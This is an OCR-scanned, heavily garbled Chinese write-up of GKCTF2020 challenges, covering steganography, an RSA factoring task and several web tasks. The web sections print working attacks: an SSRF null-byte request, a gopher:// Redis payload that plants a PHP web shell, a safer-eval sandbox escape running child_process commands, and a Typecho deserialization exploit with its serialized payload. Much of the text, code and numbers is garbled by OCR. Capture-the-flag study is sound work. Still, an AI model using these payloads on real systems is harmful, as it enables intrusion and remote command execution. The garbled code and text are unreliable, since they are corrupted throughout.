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hint2: FreeFileCamouflage, T #RKISCHTT AL ERAELAD

EAEBITI AR

|$ Harley Quinn.zip - ZIP E45304, 888 NA 35,179,082 55

EZFR Joh EEEES N 2em fEpEtE FreeFileCamouflage
. gl

&| Harley Quinn.jpeg 131,242 130,846 JPEG 7% 2020/5/12 14.... -

o| Heathens.wav 35,047,840 33,347,599 WAV 0% 2020/5/12 15:...

Wr—F Heathens.wav , BKMIBREFIRSTE, RIUER, BKEEmL Naaa.wav.
{# F dtmf2num.exe 734 :

r Quinn‘\dtmf2num>dtmf2num.

— MF numb

DTMF numbers:

nang

SR J5 Heathens.wav BRI HL,

@ Heathens.wav EiE X

=y e EAES LEaoms

EH & A
$tEA
P
Eliar=l
SR
12N
E56IERIZAZ]| twenty one pilots #password#

L=gEE_




#22283334447777338866#
tc tf i s e u n#

X B dtmf2num. exe 5 FIRETCE M 8, (HRLEEE UAERNEL R “ctfisfun”.
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File Camouflage v1.25

Camouflage a file De—camouflage a file
Jpeg image to de—vamouflage
i (GECTF2020\MISC\Harley Quinn‘\Harley @uirm jpz| | Browse

Destination directory — save deervpted file to!

\GKCTF2020\MISC\Harley Quinn | | Browse

De-Camoufiage!

- | X

Options
@ Use a custom pessword to encrypt / decrypt file
|ctfis£un Save

Integrate in explorer “Send To" menu

To easily camouflage a file simply open explorer, then
rght click on a file and select the "Send fo " menu.

Here you ¥ find four aptions to Camouflage (with standard
and custom password) and de-Camoufiage a file.

[File de—camouflaged correctly! |
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 flag.txt - iBFE4s

SR BRI e o ST A0 SRR
flag{Puddin!! yOu F1nd m3!}

flag{Puddin!!_y@u_Find_m3!}

[GKCTF2020]Sail a boat down the river

hint: AXRKDEEE, R—TAR—F, MEGEE L




B SR flag.mpa MU B K — 4ERS 19 118 B — A M B B

flag.mp4 [ EE QR Research _ ] %

P TERM #EH)

MEHR LTS

H(30%) |||~

LES Rt
Auto - 4 é‘
[~ Auio

12k & (55 8,30.4)-(570.3.41 4)-(62.2,546.4)-(577.2,556.9)
Eﬂ%lﬁi %

MRS 4
EbE R ok
nE

haps ilpan.baidu.comvs/ TtygiONm_GSTVFIgxVerQ

00:00:15/ 00:00:17

https://pan.baidu.com/s/1tygtONm_G5fTfVF1lgxVcrQ

RIEREMEREN— S, BN R RGN KT S ek B s .
SRR EE B, R M psEE KL 490, 7EANST 118-130 i, 200-208 Wi, 320-334 Wi, 410-418 WiFH Nik. MERLW,
3 .

fRTD1E ywsg »
T M BLEE B ES shudu. txt o

© ® U N ®O W OO OO ™
© ® VO O O N P
©O P ® ®O W O U o N
O 00 ® ®© ©®© ® © O H»
N © A O OO © OO
A O P O MO OO O
A O 00 A O LI MNOO
O N 0 ®O B OO OO

L
efb851bdc71d72b9ff668bddd30fd6bd
A -

HE—FNERNERENLEETF

EE: XERBFEhMERSTHT, £ AR5 .
FERRIRAE L A BIRMBHM, SRWT -


http://www.llang.net/sudoku/calsudoku.html

HAE—ITNERMNLER AN LB TH 2% 40 52693795149137
X B {f FH AES i hex i 28 5%
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flag{gkctf_is_fun}

[GKCTF2020]Backdoor
BEAWPHE T —MHA, REERRENEANE. UTESRE CHEMR.
T, 53 flag.enc +~ pub.pem . task.py

from Crypto.Util.number import
from Crypto.PublicKey import RSA
import gmpy2, binascii

import base64

from FLAG import flag

def rsa_encrypt(message):

with open('./pub.pem' ,'r') as f:
key = RSA.import_key(f.read())

key.e
key.n
pow(bytes_to_long(flag), e, n)

ciphertext binascii.hexlify(long_to_bytes(c))
return ciphertext

o

if __name__
text base64.b64encode(rsa_encrypt(flag))
with open('flag.enc','wb') as f:
f.write(text)

B H pub.pem ATLARE] e,n, ENRASETH.

e 65537
n 155189610416250748761824045853940987814871410592854559270243212767838311221687450763597803430780112164805875

75072479784829258678691739

RIBENENMES] p,q, BREEHPER p=k*M+(65537**a M) IWRFEHAK, BRFENttp:/factordb.com/m] BL KB4 1R1E
Fp,q

p = 4582433561127855310805294456657993281782662645116543024537051682479
q 3386619977051114637303328519173627165817832179845212640767197001941

51 p,q,e BLEETS 2Id

d= 1149956978599018129014215044754098629972931368939804379486522291475145627109733710462288499234512027895921314
©333860537563347711742153

B flag.enc &idbase64f# % )45 Rk 2 ciphertext , #HMARHE L ¢ .


http://factordb.com/

MDIXNDJIhZjdjZTcwZmUwWZGRhZTEXNmJIiN2USNjI2MDI3NGV1OTIIMmE4Y2I1Mjh1N2ZkZDIS50DA5YZzJIhNjAzMjcyN2MwNTUyNjEzM2F INDYXMGVK|
OTQONTCcyZmYXYWImY2QwYjE3YWEyMmVmNDRhMg

ciphertext = 02142af7ce70fe@ddaell6bb7e96260274ee9252a8cb528e71dd29809¢c2a6032727c05526133ae4610ed944572ff1labfcdo)
bl7aa22ef44a2

C 590210260993618353003641304194920501607285618494759615578493342268943821669005949870628738888298967383929423)
6821030261398121787376802

from Cryptodome.Util.number import
from Cryptodome.PublicKey import RSA
import gmpy2, binascii

import base64

def decrypt():
with open('./pub.pem' ,'r') as f:
key RSA.import_key(f.read())
e key.e
n key.n
print('e = %d\nn = %d'%(e,n))

ciphertext = b'02142af7ce70fe@ddaellebb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572Ff1]
abfcdebl7aa22ef44a2’

C bytes_to_long(binascii.unhexlify(ciphertext))

print('c =",c)

p 4582433561127855310805294456657993281782662645116543024537051682479
q 3386619977051114637303328519173627165817832179845212640767197001941
phi = (p - 1) * (q - 1)

d inverse(e, phi)

print("d =",d)

m pow(c,d,n)
print('m =",m)

print('long_to_bytes(m) =',long to bytes(m))

if _ _name__ __main__":

decrypt()




XEER, BAFH cryptodome W HEFTR EHCA Crypto , I crypto FEAEER, REEFHIXA cryptodome o

Cryptodome.Util . number

Cryptodome.PublicKey
gmpy2, binascii
base64

pt():

en('./pub.pem’ ,
key = RSA.import_k

e key.e

n key.n

print('e

ciphertext b'02142af7ce70feBddaecl16bb7e96268274ee9252a8cb528e7fdd29889c2a6832727cB5526133ae4610ed944572ff1abfcdBbl7aa22ef44a2"”
c = bytes to long(binascii.unh ify(ciphertext))
print(’

P

q 8661 11
phi = (p 1) * (q
d = inverse(e, phi)
print("d =",d)

m - pow(c,d,n)
print('m =",m)
print('long_to_bytes(m) =',long

name " main__ ":

decrypt()

= 65537

e

n 15518961641625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739
c = 59021026099361835308364130419492085016072856184947596155784933422689438216690059498706287388882989673839294236821030261398121787376802
d = 11499569785998181296142150447548986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153
m = 56806392793406552883106744981771255916153714828118097099130014487421330832850082353964262145657222269
long to bytes(m) = b/ flag{760958c9-ccad-458b-9cbe-ecabP7aal668ed}

[Finished in ©.4s

ELIEEENe]

15 3 i Aflag:
flag{760958c9-cca9-458b-9cbe-ea®7aal668e4}

[GKCTF2020]cvehizZ 3

C © 5= | e3d1d4a5-613b-446b-b1a6-aa0091a74587.node3.buuoj.cn

View CTFHub
You just view *.ctfhub.com

&R 5] DUZIRTE :

PHP 7.2.292Z BifI7.2. XA, 7.3.16 22 RiHI7.3. x/RAR7.4. 42 BiHI7.4. xfRA T ‘get_headers ()’ RIIEAE Z LRI,

get_headers($url) BREH P8 2& 7] LA 20028 Wi .

Request Response
J Raw T Params T Headers I Hex ] J Raw I Headers T Hex T Render 1
GET /?url=http: //www. ctfhub. com HITP/1.1 & HITR/1.1 200 0K
Host: e3dld4ab-613h—446b-hlaf-aal091a74587. node3. buuoj. cn Server: openresty
Upgrade—Insecure-Requests: 1 Date: Sat, 30 May 2020 11:55:17 GMT

Meer—4mant: Wazillaf/Gm. 0 (Windows NT 10.0° Winfd: =541 AnnleWehKit/R3I7.3 Ceantent—Twne text/html - char=st=ITTF-8



e e e [T,

(KHTML, like Gecko) Chlome!SC& 0. 4103 6
Accept:

text/html, application/zhtml+zmnl, application/=ml; g=0. 9, image/webp, image/ap
ng, */#; q=0. 8, application/signed-exchange ;»=h3;q=0. 9

Referer: http://e3d1d4a5-613b—446b-hlaf-aa0091a74587. nodel. buuoj. cn/
Accept—Encoding: gzip, deflate

Accept-Language: zh—CHN, zh;q=0.9

1 Safau!bii" 36

34

PUF— ——————

Content-Length:
B

fad .

Hint: Flag in localhost

weT

prer

Venom fEZEFTA

Comnection: close
Request Response
Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLIRender]

GET /?url=http://127.0.0.1 HITR/1.1
Host: e3d1d4a5-813h-446b-blad-aa0091a74587. node3. buuoj. cn
Upgrade—-Insecure-Requests: 1

HITP/1.1 200 OK
Server: openresty
Date: Sat,

e

User—-fgent: Mozilla/5.0 (Windews NT 10.0; Winf4; x64) AppleWebKit/537.36 Content-Type:
(EHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Centent-Length: 113
Accept: Commection: close

text/htnl. application/zhtnl+xznl, application/xzmnl :q=0. 9, inage/webp, inage/ap
ng, #/#:q=0. 8, application/signed-exchange :v=h3:g=0. 9

Referer: http://e3d1d4a5-613b-446b-h1af-aa0091a74587. node3. buuoj. cn/
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH, zh;q=0.9

Commection: close

Tips
Vary:
i-Powered-By:

Venom £k

[RUNRY

“hifget_headers() R ZL IR, 5 FH %00 W FH 151 127.0.0.1 .

Request

_[ Raw T Params ]’ Headers ]’ Hex ]

=

Hint: Flag in localhost
Host must be end with
Accept-Encoding
PHF/7.3.13

30 May 2020 11:58:34 GHT
text/htnl;

charset=UTF-§

T123°

<a href="/?url=http: //www. ctfhub. com’ *View CTFHub(fa><br,I>You just view *.ctfhub. com

Response

J Raw T Headers ]’ Hex ]’ Render ]

GET /?url=http://127.0.0. 1%00www. ctfhub. com HTTP/1.1 & HTTP/1.1 200 OK
Host: e3dldda5-613h—446h-blaf-aal081a74587. node3. buuoj. cn r Server: openresty
Upgrade—Insecure-Requests: 1 Date: Sat, 30 May 2020 11:59:39 GNT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64) AppleWebKit/537.36 Content-Type: text/html; charset=UTF-8
(EHTML, 1like Gecko) Chrome/83.0.4103.681 Safari/537.36 Content-Length: 384
Accept: Commection: close
text/html, application/xhtml+xznl, application/znl;q=0. 9, inage/webp, image/ ap Hint: Flag in localhost
ng, #/#;q=0. 8, application/signed-exchange . v=h3;q=0. 9 Vary: Accept—Encoding
Referer: http://e3dld4a5-613b-446b-blaf-aal091a74587. node3. buuoj. cn/ X-Powered-By: PHP/7.3.15
Aecept-Encoding: gzip, deflate
Accept-Language: zh—CHN, zh;g=0.89 ‘precArray
Connection: close (
0] =» HTTP/1.1 200 OK
[1] =» Date: Sat, 30 May 2020 11:59:39 GMT
[2] =» Server: Apache/2.4.38 (Debian)
[3] =3 X-Powered-Bv. PHP/7. 3,15
[4] =I> Tips: Host must be end with ~ 1237 I
[5] =-%ar HCCEPL EICOULITE
[6] =» Content—Length: 113
[7] => Connection: close
[8] =» Content—Type: text/html: charset=UTF-8
)
Venom ffEGFTA
Request Response

JRawT Params I Headers | Hex

J Raw T Headers | Hex | Render ]

GET /Purl=http://127.0. 0. 123%00www. ctfhub. com HITP/1.1

Host: e3dldda5-613b-446b-hlaf-aali91a74587. nodel. buuoj. cn
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windews NT 10.0; Win64: =64) AppleWehEit/537.36
(EHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Aecept:

text/htnl, application/zhtml+znl, application/=nl; q=0. 9, inage/webp, image/ ap
ng, #/#;q=0. 8, application/signed-exchange ;v=h3;q=0.9

T

Date:

Vary:

op

Sat.

Content-Type:
Content-Length:
Commection:
Hint: Flag in localhost

HITP/1.1 200 OK
Server:

enresty

30 May 2020 12:00:03 GHT
text/htul; charset=UTF-§
399

close

Accept—Encoding

Referer: http://e3dld4ai-G13b-446b-hlaf-aal091a74587. node3. buuoj. cn/ X-Powered-By: PHP/7.3.15
Accept—Encoding: gzip. deflate
Accept—Language: zh-CH, zh;g=0.9 <prerArray
Comnection: close {
[0] => HTTF/1.1 200 OK
[1] => Date: Sat, 30 May 2020 12:00:03 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] =z X_Powered-Rv PHP/7 3. 15
[41 =t FLAG flag{14cb87fc—5cb2—4f84—ba84—ddd08d895344}I
5] = T =




[6] => Con}:en‘t—Le;ngth: 113 -
[7] =» Comnection: close
[8] =» Content—Type: text/html: charset=UTF-8

Venom FEEFIN

R ERL B HAag.

[GKCTF2020]EZ= %1% -EzWeb

® FZ% | 5c6dbd15-75a5-4690-88fe-eb45d7c16b71.node3.buuoj.cn

R MRIZE=HIB R

Your url

3L

hitps:/fblog.csdn.

HEEREES <! --?secret--> o

“~ - C  © AZ=£| view-source:5¢c6dbd15-75a5-4690-88fe-eb45d7c16b71.node3.buuoj.cn/?secret

18 | <! ——Ysecret—->

10 eth0 Link encap:Ethernet HWaddr 0Z2:42:ad:61:23:0a

20 inet addr:173. 97, 195, 10 Becast:173. 97, 195, 255 MNask:255, 255, 285,10
21 UP BROADCAST EUNNING MULTICAST MNTU:1450 Metric:l

22 B¥ packets:24 errors:0 dropped:0 overruns:0 frame:0
23 TY packets:Z23 errors:0 dropped:0 overruns:0 carrier:0
24 collislions:0 txqueuelen:(

25 EX bytes:3906 (3.9 EB) TX bytes:3948 (3.9 KB)

26

27 1o Link encap:Local Loopback

28 inet addr:127.0.0.1 Mask:255.0.0.0

29 UF LOOFBACE RUNNING MNTU:65536 Metric:l

30 E¥ packets:0 errors:0 dropped:0 overruns:0 frame:0

3 T packets:0 errors:0 dropped:0 overruns:0 carrier:0
32 collisions:0 txqueuelen: 1000

33 EX bytes:0 (0.0 B) T bytes:0 (0.0 BJ

@iy R ET LR I 173.97.195.11 _EFEWebfR% .

&« - C A 7= | 5c6dbd15-75a5-4690-88fe-eb45d7c16b71.node3.buuoj.cn/index.php?url=173.97.195.11&submit=1237




173.97.195.11

WARRI Y BIREFEEL I ERRS 5 X a7 £ . HiaI 2w

WIBRRHKRSE D, BRI A1TTE 6379 5

173.97.195.11:6379

-ERR wrong number of arguments for 'get' command 1

FIF gopher:// hili#{TSSRF.

root@Kali:~/Desktop/ctf/web/sec_too pherus # python gopherus.py --exploit redis

author: $_SpyD3r_$

Ready To get SHELL

PHPShell

When it's done you can get PHP Shell in /shell.php at the server with “cmd’ as parmeter. fps sdn.net/iahiachang

BRI 127.0.0.1:6379 BT IP:port »

gopher: 173.97.195.11:6379/_7%2A17%0D7%0A%2487,0D%0Af1lushall’@D%0A%2A37%0D%0A%24370D%0Aset”0D%0A%24170D7%0A17%0D7%0A%2
4337,0D7%0A7OA%OA%3C%3Fphp’20system’287%22cat’%20/flag’22%297%3B%3F%3E%20%0A%0A%0D7%0A%2A47,0D7,0A%2467,0D7%0Aconfig/ 0D%0A

2437,0D7%0Aset20D7%0A%24370D%0Ad1ir%0D%0A%241370D%0A/var /www/html%0D%0A%2A47,:0D7%0A%2467:0D%0Aconfig0D%0A%24370D%0As€
t70D7%0A%24107:0D7%0Adbfilename’0D7%0A%24970D%0Ashell . php”0@D7%0A72A170D7%0A%2447,0D7%0Asave’0D0A%0A




.J 5c6dbd15-75a5-4690-88fe-eb X @ 5c6dbd15-75a5-4690-88fe-cb X |

<N X A FZZ£ | 5c6dbd15-75a5-4690-88fe-eb45d7c16b71.node3.buuoj.cn/index.php

B2 MRE=HIRIR

gopher://173.97.195.11:6379/_%2A1%0D%0A%248%0D %0Aflushall%0D%0A%

%

hitps://bloa.csdn.net/hiahiachan

BT EEET I —AFRZE T 173.97.195.11/shell.php B ] 5 2lflag.

N 5c6dbd15-75a5-4690-88fe-eb X @ 5c6dbd15-75a5-4690-88fe-ek X ar

& - C A T2 | 5c6dbd15-75a5-4690-88fe-eb45d7c16b71.node3.buuoj.cn/index.php?url=173.97.195.11%2Fshell php&submit=1&sr Y

R MRIE=HIBm

173.97.195.11/shell.php

REDIS0007 € redis-ver3.2.114 redis-bits@ @@ ctime®\@ " @ used-mem@GL Y@@ flag{97b92762-38fa-453f-bda0-05e26a84c54a}
QIE=017@ue1

[GKCTF2020]EZ=%1%-EzNode

Nodejsh<, RBHENE, BEERBEEHFWPHT —#E. &FSFHYIng)i#HHIWP

saferEvalibfhikiék



https://www.gem-love.com/ctf/2361.html#EZ%25E4%25B8%2589%25E5%2589%2591%25E5%25AE%25A2EzNode

2020.1/WORKER2 EMRHA T JEHIT @
app.use((req, res, next) {
if (req.path '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
)i
const t setTimeout (() next(), delay);
2020.1/WORKER3 ZWRBILBMU—THEE, RMEEEINET, HMAETHARpH
setTimeout (() {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!");
} catch (e) {

app.post('/eval', function (req, res) {
let response S
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {

response 'Wrong Wrong Wrong!!!!"';

}

res.send(String(response));

1)

X E R £6071000 5 HA1E AKidelay BT AL, H—NEUBCRHIS, HEBRKHITER B

setTimeout ¥4 delay BF 2147483647 ERET 1 B, Nl delay K&#i&kEAN 1.
REHH) delay LSBT ARE.
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# https://github.com/commenthol/safer-evallissues/10.

@& github.com/commenthol/safer-eval/issues/10

XmiliaH commented on 10 Dec 2019 Q -

One can break out of the sandbox with the following code in node:

const saferEval = require(”./src/index™);

const theFunction = function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require(”child process™).execSync{"whoami").toString()
¥

const untrusted = ~(${theFunction})()~;

console.log(saferEval (untrusted));

HEZRAMEESflag.

e=clearImmediate.constructor("return process;" mainModule.require("child_process").execSync("cat /flag").toSt

ring

Request Response

J Raw T Params T Headers | Hex j RawT Headers I Hex I Render ]

POST /eval?delay=09999999999] HTTR/1. 1 i HITF/1.1 200 OK

Host: f8daf20f-502c—4d7f-abdd-Tebecl89f9906. node3. buuoj. cnn ™ Server: openresty

Content-Length: 120 Date: Sat., 30 May 2020 14:18:03 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: x64) AppleWebKit/537.36 (EHTML, like Content-Type: text/html; charset=utf-8

Gecko) Chrome/83.0.4103.61 Safari/537.36 Content-Length: 43

Content—Type: application/z—www—form—urlencoded; charset=UTF-8 Comnection: close

Accept: #/#% Etag: ¥/"2b-wiTqzhKe]ablvPWRDONSaLEM53I"
Origin: http://f8daf29f-502c—4d7f-ab4d-Tebec(9£9906. node3. buusj. en X-Fowered-Bv: Express

Referer: http://f8da929f-502c—4d7f-ab4d-TehecO9£f9906. node3. bunoj. cn/?delay=2147483649

Accept-Encoding: gzip. deflate flag {28aca96d-918c—4d2a—9Tcc—1bf 790364706}

Accept-Language: zh—CHN, zh;q=0.9
Comnection: close

e=clearImmediate. constructor {"return
process; " ) (), mainModule. require ("child_process”). execSymec("cat /flag”).toString()



https://github.com/commenthol/safer-eval/issues/10

[GKCTF2020]EZ=%1%-EzTypecho

@ TZ% | e0067099-feab-4000-b11d-ea7adddbb2aa.node3.buuocj.cn/install.php

Typecho

@:

IRi{EA Typecho
TR
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Typecho 5 GPL 1S fa, FAi1seiFRIFTE GPL MIFRIITEEPIER, BN, (EXns RILER. FEGPLITRIITEE
A, EEIASSitEER Tl ARl AR
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RIAFENNE

4p install.php

$config 1 17 a
$type D (" ", $config[
$type ($type);

I

L

$installDb T ho Db($config[" r'], $config[’
$installDb->adds ($config, D Typ&

exp:


https://blog.csdn.net/qq_42967398/article/details/106372049
https://www.freebuf.com/vuls/152058.html

<?php

class Typecho Feed

{
const RSS1 'RSS 1.0"';
const RSS2 'RSS 2.0"';
const ATOM1 'ATOM 1.0";
const DATE_RFC822 RN
const DATE_W3CDTF 'c';
const EOL "\n";
private $ type;

private $ items;

public function __ construct(){

$this->_type = $this::RSS2;

$this->_items[0] array (
"title' "1,
'1ink' g0
'date’ 1508895132,
'category’ array(new Typecho_Request()),
"author’ new Typecho_Request(),

class Typecho_Request

{
private $_params array();
private $ filter array();

public function __construct(){
$this->_params['screenName' | 'system("cat /flag");"';
$this->_filter[0] 'assert’;

$exp = array(
"adapter’ new Typecho Feed(),

'prefix’ 'typecho_
)

echo base64_encode(serialize($exp));

ToyOntz0jc6ImFkYXBOZXIi0086MTI6I1R5cGVjaGOfRmV1ZCI6Mjp7czox0OToiAFR5¢cGVjaGOfRmV1ZABfdHI1wZSI7czo30iISUIMgMidwIjtz
0jIwOiIAVHIWZWNob19GZWVKAF9pdGVtcyI7YToxOntp0jA7YTolOntzOjU6INRpdGx1IjtzOjE6IjEiO3ME6ND0oibGluayI7czox0iIxIjtz0jQ6
ImRhdGUi02k6MTUWODE5NTEZzMjtz0jg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE101JUeXB1lY2hvX1J1cXV1c3Qi0jI6e3M6MjQ6IgBUeXBlY2hy|

131cXV1c3QAX3BhcmFtcyI7YToxOntzOjEw0iJzY3J1ZWS50YW11Ijtz0jIw0iJzeXNOZWOoImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hy|

131cXV1c3QAX2ZpbHR1ciI7YToxOntp0jA7cz020iJhc3N1cnQi0319FXM6NjoiYXVOaG9yIjtPOjE10iJUeXBlY2hvX1J1cXV1c3Qi0jI6e3M6)
MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX3BhcmFtcyI7YToxOntzOjEw0ilzY3J1ZW50YW11Ijtz0jIw0iJzeXNOZWOoImNhdCAVZmxhZyIpOyI7+XM6
MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX2ZpbHR1ciI7YToxOntp0jA7cz020iJhc3N1cnQi0319fX19¢cz020iJwcmVmaXgiO3M60DoidH1wZWNob18i
030




N BT ZifFfEreferer,

4p install.php

J

empty($_POST)) {
v($_SERVER[ "HTTP_REFERER'])) {

it B & payload:

http://e0067099-feab-4000-blld-ea7adddb62aa.node3.buuoj.cn/install.php?start

POST:

typecho_config=YToyOntzOjc6ImFkYXBOZXIiO@86MTI6I1R5cGVjaGOfRmV1ZCI6Mjp7czoxOToiAFR5cGYVjaG9fRmV1ZABfdH1wZSI7czo
301JSU1MgMi4wIjtz07jIw0iIAVHIWZWNob19GZWVKAF9pdGVtcyI7YToxOntp0jA7YTol0ntz0jU6InRpdGx1Ijtz0jE6IjEi03M6NDoibGluayT
7czox0iIxIjtz0jQ6ImMRhdGUi02k6MTUWODE5NTEZzMjtz0jg6ImNhdGVnb3J35IjthOjE6e2k6MDtPOjE10iJUeXB1lY2hvX1J1cXV1c3QiO0jI6e3M
6MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX3BhcmFtcyI7YToxOntzOjEw0iJzY3J1ZW50YW11Ijtz0jIw0iJzeXNOZWOoImNhdCAvZmxhZyIpOyI7fXM
6MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX2ZpbHR1ciI7YToxOntpOjA7cz020iJhc3N1cnQi0319fXM6NjoiYXVOaGOyIjtPOjE10iJUeXB1lY2hvX1]
1cXV1c3Qi0jI6e3M6MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX3BhemFtcyI7YToxOntzOjEw0iJzY3J1ZW50YW11Ijtz0jIw0iJzeXNOZWOoImNhdCA
\vZmxhZyIpOyI7fXM6MjQ6IgBUeXB1lY2hvX1J1cXV1c3QAX2ZpbHR1ciI7YToxOntp0OjA7cz020iJhc3N1cnQi0319fX19cz020iJwcmVmaXgiO3M
60D0oidH1wZWNob18i030

Referer:http://e0067099-feab-4000-blld-ea7adddb62aa.node3.buuoj.cn/install.

& C @ FZ= | e0067099-feab-4000-b11d-ea7adddb62aa.nade3.buuoj.cn/install.php?start= w e

flag{101eb793-e28e-4db0-91dd-3a426bd40a75}

[ ﬂ Elements Console Network HackBar EditThisCookie Sources Performance Memory Application Security Lighthouse Q1 Q : X
Encryption ~ Encoding + SQL~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://e0067098-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cnfinstall.php?start=
% split URL

») Execute . . .
Post data Referer (] UserAgent [] Cookies Clear All

__typecho_config=YToyOntzOjc6ImFKYXBOZXIIO086MTIGIR5CG VjaGefRmVIZCIEMp7 czoxOToiAFR5CGV]aGIfRmVIZABIHIWZSI76z030iJSU IMgMi4wljtzOjwOilAVHIWZ ~ ~
TWNob19GZWVKAF9pdGVicyl7Y ToxOntpOjA7Y To1 OntzOjUBINRpdGxlljizOJEBIiEIO3MENDoibGluay| 7czoxOilxljtzOjQ6ImRhdGUIO2kEMTUwWODg5N TEZMjtzOjgBlmNhdGVn
b3J51jthOE6e2k6MDPOJE 101JUeXBIY2hvX1JIcXVIc3Qi0]|I6e3MEM|Q6IgBUeXBIY 2hvX1JIcXVIc3QAX3BhemFteyl 7Y ToxOntzOJEWOIJZY 3JIZW50 YW1 ljtzOjlwOiJzeXNOZ
W0olmNhdCAVZmxhZylpOyl7iXMEM|QEIgBUeXBIY 2hvX1JIcXVIc3QAX2ZpbHRIci 7Y ToxOntpOjA7czo20iJhc3NIcnQi031 9FXMENjoi YXV0aG9yljitPOJE 1 CiJUeXBIY 2hvX1Jc
XVIc3Qi0]I6e3MEMQBIgBUEXBIY 2hvX1JIcXVIc3QAX3BhemFtcyl 7Y ToxOntz OJEWOIZ Y 3JIZW50YWAIjtzOjlwQiJze XNOZWOolmNhd CAVZmxh ZylpOyl TIXMEM]QBIgBUeXB  ~
IY2hvX1JIcXVIc3QAX2ZpbHRIciI 7Y ToxOntpOjA7czo20iJhc3NIcnQi0319fX 19cz020idwemVmaXgio3MEODoidHIwZWNob18i030= y

|E| hitp://20067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install. php

153 A flag .
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HREFTERn.
ZACMLk: https://blog.csdn.net/hiahiachang/article/details/106334413
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